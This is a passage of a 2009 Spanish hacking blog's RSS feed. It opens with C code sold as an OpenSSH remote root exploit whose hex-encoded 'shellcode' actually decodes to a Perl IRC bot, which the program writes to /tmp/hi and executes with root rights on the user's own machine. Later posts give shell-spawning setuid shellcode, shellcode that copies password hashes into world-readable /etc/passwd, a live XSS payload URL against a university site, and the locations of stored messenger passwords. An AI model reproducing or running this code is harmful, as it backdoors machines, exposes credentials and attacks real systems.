/&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char fbsd_shellcode[] =&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"&lt;br /&gt;"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"&lt;br /&gt;"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";&lt;br /&gt;#define SIZE 0xffffff &lt;br /&gt;#define OFFSET 131&lt;br /&gt;#define fremote build_frem(t,e,s,m,y)&lt;br /&gt;&lt;br /&gt;void usage(char *arg){&lt;br /&gt;printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");&lt;br /&gt;printf(" Usage: %s -h -p port\n",arg);&lt;br /&gt;printf(" Options:\n");&lt;br /&gt;printf(" \t-h ip/host of target\n");&lt;br /&gt;printf(" \t-p port\n");&lt;br /&gt;printf(" \t-d username\n");&lt;br /&gt;printf(" \t-B memory_limit 8/16/64\n\n\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#define FD 0x080518fc&lt;br /&gt;#define BD 0x08082000&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv){&lt;br /&gt;FILE *jmpinst;&lt;br /&gt;char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;&lt;br /&gt;int port=23, limit=8, target=0, sock;&lt;br /&gt;struct hostent *host;&lt;br /&gt;struct sockaddr_in addr;&lt;br /&gt;&lt;br /&gt;if (geteuid()) {&lt;br /&gt;puts("need root for raw socket, etc...");&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(argc &lt; 3){&lt;br /&gt;usage(argv[0]);&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf("\n [+] 0wn0wn - by anti-sec group\n");&lt;br /&gt;&lt;br /&gt;if (!inet_aton(h, &amp;addr.sin_addr)){&lt;br /&gt;host = gethostbyname(h);&lt;br /&gt;if (!host){&lt;br /&gt;printf(" [-] Resolving failed\n");&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;addr.sin_addr = *(struct in_addr*)host-&gt;h_addr;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sock = socket(PF_INET, SOCK_STREAM, 0);&lt;br /&gt;addr.sin_port = htons(port);&lt;br /&gt;addr.sin_family = AF_INET;&lt;br /&gt;if (connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == -1){&lt;br /&gt;printf(" [-] Connecting failed\n");&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;payload = malloc(limit * 10000);&lt;br /&gt;ptr = payload+8;&lt;br /&gt;memcpy(ptr,jmpcode,strlen(jmpcode));&lt;br /&gt;jmpinst=fopen(shellcode+793,"w+");&lt;br /&gt;if(jmpinst){&lt;br /&gt;fseek(jmpinst,0,SEEK_SET);&lt;br /&gt;fprintf(jmpinst,"%s",shellcode);&lt;br /&gt;fclose(jmpinst);&lt;br /&gt;}&lt;br /&gt;ptr += strlen(jmpcode);&lt;br /&gt;if(target != 5 &amp;&amp; target != 6){&lt;br /&gt;memcpy(ptr,shellcode,strlen(shellcode));&lt;br /&gt;ptr += strlen(shellcode);&lt;br /&gt;memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));&lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));&lt;br /&gt;ptr += strlen(fbsd_shellcode);&lt;br /&gt;memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));&lt;br /&gt;}&lt;br /&gt;send(sock,buffer,strlen(buffer),0);&lt;br /&gt;send(sock,ptr,3750,0);&lt;br /&gt;close(sock);&lt;br /&gt;if(connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == -1) {&lt;br /&gt;printf(" [-] connecting failed\n"); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;payload[sizeof(payload)-1] = '\0';&lt;br /&gt;payload[sizeof(payload)-2] = '\0';&lt;br /&gt;send(sock,buffer,strlen(buffer),0);&lt;br /&gt;send(sock,payload,strlen(payload),0);&lt;br /&gt;close(sock);&lt;br /&gt;free(payload);&lt;br /&gt;addr.sin_port = htons(6666);&lt;br /&gt;if(connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == 0) {&lt;br /&gt;/* v--- our cool bar that says: "r0000000t!!!" */&lt;br /&gt;printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&gt;]\n\n");&lt;br /&gt;fremote("PS1='sh-3.2#' /bin/sh");&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;printf(" [-] failed to exploit target :-(\n");&lt;br /&gt;close(sock);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8898406529887785192?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/KdjhIyT3lv0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/KdjhIyT3lv0/0day-openssh-52-remote-root-exploit.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/0day-openssh-52-remote-root-exploit.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-2218634543751644755</guid><pubDate>Mon, 21 Sep 2009 23:23:00 +0000</pubDate><atom:updated>2009-09-22T01:25:52.603+02:00</atom:updated><title>Husmeando en archivos (IV)</title><description>&lt;b&gt;pidgin&lt;/b&gt;, conocido cliente de messenger para Linux, guarda las contraseñas en texto plano tambien.&lt;br /&gt;&lt;br /&gt;Dentro de nuestro home, hacemos una busqueda por el archivo &lt;b&gt;accounts.xml&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Lamentable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2218634543751644755?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XKqCl85HLTg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XKqCl85HLTg/husmeando-en-archivos-iv.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/husmeando-en-archivos-iv.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8193488468668910575</guid><pubDate>Mon, 21 Sep 2009 23:14:00 +0000</pubDate><atom:updated>2009-09-22T01:21:33.684+02:00</atom:updated><title>Husmeando en archivos (III) ...cypher will not save you</title><description>amsn cifra la contraseña.&lt;br /&gt;&lt;br /&gt;El archivo donde la guarda cifrada es:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/home/user/.amsn/config.xml&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;La variable es &lt;b&gt;remotepassword&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Aunque este cifrada, que me consta que es en DES, bastaria que un atacante copiara ese &lt;b&gt;config.xml&lt;/b&gt; en su maquina.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8193488468668910575?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/BcG-vpDycUs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/BcG-vpDycUs/husmeando-en-archivos-iii-cypher-will.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/husmeando-en-archivos-iii-cypher-will.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8631167521674964208</guid><pubDate>Mon, 21 Sep 2009 23:09:00 +0000</pubDate><atom:updated>2009-09-22T01:14:42.644+02:00</atom:updated><title>Husmeando en archivos (II)... Kmess guarda user/pass en texto plano</title><description>Este cliente de messenger para Linux, guarda user/pass en un archivo en el que tiene acceso de lectura todo el mundo:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/home/user/.kde/share/config/kmessrc&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;amsn, mas conocido, guarda esta informacion cifrada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8631167521674964208?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/JOEpuIpfLTc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/JOEpuIpfLTc/husmeando-en-archivos-ii-kmess-guarda.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/husmeando-en-archivos-ii-kmess-guarda.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-7058310834606505539</guid><pubDate>Sun, 23 Aug 2009 18:25:00 +0000</pubDate><atom:updated>2009-08-23T20:27:13.009+02:00</atom:updated><title>mmm ... creo que esta es tu IP publica no?</title><description>&lt;a href="http://www.orkspace.net/owned/"&gt;&lt;b&gt;http://www.orkspace.net/owned/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;:)&lt;br /&gt;&lt;br /&gt;Gracias a sparc ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7058310834606505539?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/kAgxMRQ1cTk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/kAgxMRQ1cTk/mmm-creo-que-esta-es-tu-ip-publica-no.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/08/mmm-creo-que-esta-es-tu-ip-publica-no.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-9153362465504250851</guid><pubDate>Thu, 09 Jul 2009 19:36:00 +0000</pubDate><atom:updated>2009-12-17T07:40:53.457+01:00</atom:updated><title>...una historia inofensiva pero real ~ XSS en la web de la Guardia Civil ~</title><description>Pues nada, un XSS que descubri el otro dia jugando.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;Full Disclosure 100% DIY (esto es, a mi manera)&lt;br /&gt;donde se habla de una historia&lt;br /&gt;inofensiva pero real&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.risper.es/Full_Disclosure_Guardia_Civil_XSS_001.pdf"&gt;~ XSS en la web de la Guardia Civil ~&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;Por/By: vlan7 [ http://vlan7.blogspot.com ]&lt;br /&gt;~&lt;br /&gt;Fecha de descubrimiento y contacto con la Guardia Civil: 5-Jul-09&lt;br /&gt;Fecha en la que la Guardia Civil responde confirmándolo: 6-Jul-09&lt;br /&gt;Fecha en la que este XSS queda mitigado: 7-Jul-2009&lt;br /&gt;¿Full Disclosure? released to the public: 10-Jul-2009&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;"No hemos hecho nada del otro mundo, porque vivimos en este"&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Eskorbuto&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;P.D. No es mi especialidad la seguridad web, cualquier correccion sera bienvenida. Gracias.&lt;br /&gt;&lt;br /&gt;He añadido un archivo .ZIP con las referencias, que realmente es lo mejor del documento :D Hay alguno bastante bueno.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.risper.es/Full_Disclosure_Guardia_Civil_XSS_REFERENCES_001.zip"&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-9153362465504250851?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/79VScx_t1PA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/79VScx_t1PA/una-historia-inofensiva-pero-real-xss.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/una-historia-inofensiva-pero-real-xss.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4643332997576599454</guid><pubDate>Sat, 04 Jul 2009 22:13:00 +0000</pubDate><atom:updated>2009-07-11T15:11:04.916+02:00</atom:updated><title>unshadow.c shellcode</title><description>Esta shellcode deshabilita el shadowing en un sistema Linux. Todos los passwords de /etc/shadow van a /etc/passwd , legible por todo el mundo :)&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!&lt;br /&gt;                 "\x99" //cdq&lt;br /&gt;                 "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)&lt;br /&gt;                 "\xb0\x0b" //mov al,0bh&lt;br /&gt;                 "\x52" //push edx /Termina la cadena con un 0&lt;br /&gt;                 "\x68\x63\x6f\x6e\x76" //push dword "conv"&lt;br /&gt;                 "\x68\x70\x77\x75\x6e" //push dword "pwun"&lt;br /&gt;                 "\x68\x62\x69\x6e\x2f" //push dword "bin/"&lt;br /&gt;                 "\x68\x73\x72\x2f\x73" //push dword "sr/s"&lt;br /&gt;                 "\x68\x2f\x2f\x2f\x75" //push dword "///u"&lt;br /&gt;                 "\x89\xe3" //mov ebx,esp&lt;br /&gt;                 "\x89\xd1" //mov ecx,edx&lt;br /&gt;                 "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  printf("\n~ This shellcode disables shadowing on a linux system ~"&lt;br /&gt;         "\n\n\t ~ Coded by vlan7 ~"&lt;br /&gt;         "\n\t ~ http://vlan7.blogspot.com ~"&lt;br /&gt;         "\n\n ~ Date: 4/Jul/2009"&lt;br /&gt;&lt;br /&gt;         "\n\tYou'll have the passwords stored in /etc/passwd."&lt;br /&gt;   "\n\tFor undo purposes use the pwconv command."&lt;br /&gt;         "\n\t ~ Cheers go to: Wadalbertia"&lt;br /&gt;         "\n\t ~ Shellcode Size: %d bytes\n\n",&lt;br /&gt;                sizeof(sc)-1);&lt;br /&gt;&lt;br /&gt;        (*(void (*)()) sc)();&lt;br /&gt;}&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4643332997576599454?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/0ZV_Qjygeh4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/0ZV_Qjygeh4/unshadowc-shellcode.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/unshadowc-shellcode.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-1933515355948367887</guid><pubDate>Sat, 04 Jul 2009 18:28:00 +0000</pubDate><atom:updated>2009-07-12T09:28:12.877+02:00</atom:updated><title>Y sigue el culebron... Smallest (27 bytes) GNU/Linux x86 setuid/execve shellcode without NULLs</title><description>&lt;font color="#FF0000"&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;&lt;b&gt;Como no sabia que era imposible lo hice&lt;br /&gt;&lt;br&gt;&lt;br /&gt;27 bytes!!!&lt;/b&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt; :) &lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!&lt;br /&gt;                 "\x99" //cdq&lt;br /&gt;                 "\xcd\x80" //int 80 //setuid(0) should returns 0 right? ;)&lt;br /&gt;                 "\xb0\x0b" //mov al,0bh&lt;br /&gt;                 "\x52" //push edx /Termina la cadena //bin/sh con un 0&lt;br /&gt;                 "\x68\x6e\x2f\x73\x68" //push dword "hs/n"&lt;br /&gt;                 "\x68\x2f\x2f\x62\x69" //push dword "ib//"&lt;br /&gt;                 "\x89\xe3" //mov ebx,edx&lt;br /&gt;                 "\x89\xd1" //mov ecx,edx&lt;br /&gt;                 "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  printf("\nSMALLEST SETUID &amp; EXECVE GNU/LINUX x86 STABLE SHELLCODE "&lt;br /&gt;"WITHOUT NULLS THAT SPAWNS A SHELL"&lt;br /&gt;                        "\n\nCoded by vlan7"&lt;br /&gt;                        "\n\t + vlan7[at]bigfoot.com"&lt;br /&gt;                        "\n\t + http://vlan7.blogspot.com"&lt;br /&gt;                        "\n\n[+] Date: 4/Jul/2009"&lt;br /&gt;                        "\n[+] Thanks to: sch3m4"&lt;br /&gt;                        "\n\n[+] Shellcode Size: %d bytes\n\n",&lt;br /&gt;                        sizeof(sc)-1);&lt;br /&gt;        (*(void (*)()) sc)();&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Voy a citar de &lt;a href="http://www.opengroup.org/onlinepubs/000095399/functions/setuid.html"&gt;&lt;b&gt;aqui&lt;/b&gt;&lt;/a&gt; el funcionamiento de setuid().&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;RETURN VALUE&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Upon successful completion, 0 shall be returned. Otherwise, -1 shall be returned and errno set to indicate the error.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;ERRORS&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The setuid() function shall fail, return -1, and set errno to the corresponding value if one or more of the following are true:&lt;br /&gt;&lt;br /&gt;Veamos si entramos en alguno de los casos:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;[EINVAL]&lt;/u&gt;&lt;br /&gt;The value of the uid argument is invalid and not supported by the implementation&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;No. UID=0 es un UID valido. Es el r00t!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;[EPERM]&lt;/u&gt;&lt;br /&gt;The process does not have appropriate privileges and uid does not match the real user ID or the saved set-user-ID.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Logicamente, esto ultimo puede pasar en la version a la que se llego anteriormente.&lt;br /&gt;&lt;br /&gt;Ah, y aqui el hilo de Wadalbertia:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139"&gt;&lt;b&gt;Smallest GNU/Linux x86 setuid/execve shellcode without NULLs&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Stay clean,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1933515355948367887?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/l0kBwvcpck8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/l0kBwvcpck8/y-sigue-el-culebron-smallest-gnulinux.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/y-sigue-el-culebron-smallest-gnulinux.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-9179430346985097127</guid><pubDate>Sat, 04 Jul 2009 07:26:00 +0000</pubDate><atom:updated>2009-07-06T15:44:59.147+02:00</atom:updated><title>XSS</title><description>El otro dia estuve jugando con XSS, y mande algunos a la conocida xssed.com&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.xssed.com/archive/author=vlan7/"&gt;&lt;b&gt;http://www.xssed.com/archive/author=vlan7/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Quiero dedicar primero muy especialmente este:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.lsi.upc.edu/search?Creator=admin&amp;sort_on=1%3E%27%3E%3Cscript%3Ealert(%22XSS%20by%20vlan7%22)%3C/script%3E"&gt;&lt;b&gt;http://www.lsi.upc.edu&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;dedicado, con cariño, a todos los profesores que tuve que aguantar en su dia del departamento de LSI de la FIB de la UPC; por prohibir las soluciones ingeniosas en sus estupidos problemas. Si por ellos fuera nunca aprendo.&lt;br /&gt;&lt;br /&gt;Mande varios, pero yo me quedo con ese.&lt;br /&gt;&lt;br /&gt;Stay clean,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-9179430346985097127?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/2zuQGV93LKk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/2zuQGV93LKk/xss.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/xss.html</feedburner:origLink></item><item><guid 